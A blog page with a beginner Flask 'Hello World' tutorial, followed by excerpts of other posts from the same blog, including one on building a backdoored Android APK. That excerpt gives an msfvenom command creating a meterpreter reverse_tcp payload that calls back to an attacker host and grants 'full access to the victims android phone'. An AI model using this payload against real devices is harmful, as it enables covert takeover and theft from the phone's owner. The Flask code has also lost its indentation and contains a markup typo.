Skip to main content

[Flask]Hello World in Flask

Flask, a web framework built by a group of Python enthusiasts in 2004, is one very good framework for beginners to understand basics of full stack development. It provides something called 'template inheritence' which gives almost of flexibility needed for front end section. As for backend, you can manage all operations using Python's well defined functions which are easy as hell to understand. In this tutorial we will take a look at how to build a small Hello World application using Flask.

If you are the type who cannot wait to start coding, the source code will be provided at the end of the article. You can grab it and take a look first.

Step 1:
To start, create a folder and name it HelloWorld. You can name it whatever you want to, but for simplicity, I will name it HelloWorld.

Step 2:
Change directory to the newly created folder and create 'app.py' file. This will be our python script in which we will write the server to run our app on localhost.

app.py



from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def hello():
return render_template('index.html')
if __name__ == '__main__':
app.run()



Our app.py will only contain this much. Now, as you can see on line 5, we are are return an index.html file as our template. Flask automatically calls this index.html file from a folder called templates. So let us create our templates folder.

Step 3:
Create a folder and name it templates. Make sure to get the name of the folder correct[templates] or else Flask will not find any html file.

Step 4:
Create an index.html file in the templates folder and add any html template you want to. For this tutorial we will focus on creating a simple Hello World heading. Below is the markup text for our index.html file.

index.html



<!DOCTYPE html>
<html>
<;head>
<title>Hello World</title>
</head>
<body>
<h1>Hello World!!</h1>
</body>
</html>


Step 5:
Run python3 app.py from the root project and you should be able to see Hello World @ localhost:5000.

Note that this tutorials assumes you already have Flask installed globally on your system. If you don't, simply run pip3 install flask and you should be good to go!

Click here to get source code.

Comments

Popular posts from this blog

How to install the FReMP Stack on Ubuntu 20.04?

Technology keeps on evolving everyday and developers constantly look for more and more things to get their hands-on. In this article, I will be introducing a new full stack framework, called FReMP . The abbreviation used is not the best one, but it just gets the work done in justifiable ways. What on earth is FReMP stack? The FReMP stack is a highly scalable full stack framework, which can be used to build awesome web apps. The acronym stands for F lask, Re actJS, M ongodb and P ython. Unlike other famous stacks such as MEAN and MERN, the FReMP stack uses Python to handle back-end operations. Examples of such operations can be machine learning and artificial intelligence operations, web scraping tools or digital image processing. Step 0: Update your list of installed packages While this is optional, it is always a good practice to update your list of packages and upgrade them for newer versions before starting any installation on your environment. Run the following to do so: $ apt-get

[Android + msf]How to use Metasploit Framework on an Android Device?

Metasploit Framework(msf) Requirements: Linux-based OS You'll need to have msfconsole installed on your machine You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor.  Install apktool as well. Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft. Steps 1) First of all open up your terminal. (Ctrl + Alt + T) $ sudo apt-get update Update your repositories before starting. 2) Once updated, we can start. Simply follow the steps below to get started: $ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='xxx.xxx.x.x' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.

Learn how to make an auto login bot with Autoit

Start by creating a new directory and make an autoit script. Edit the script and include IE.au3: #include    Suppose we're writing a script which will allow a anyone to sign in his facebook on a scheduled time automatically. It's simple, don't panic! You need to call a function with any name you want. Let's take loginfb() ! call ("loginfb") So, we only have to write the function loginfb now! Func loginfb() Global $oIE = _IECreate ("https://www.facebook.com/") Local $username = _IEGetObjByName ($oIE, "email") Local $password = _IEgetObjByName ($oIE, "pass") Local $button = _IEGetObjById ($oIE, "loginbutton") _IEFormElementSetValue ($username, "") // your email here! _IEFormElementSetValue ($password, "") //your fb password here! Send("{Enter}") EndFunc $username and $password are variables. "email" and "pass" are the names given to the textarea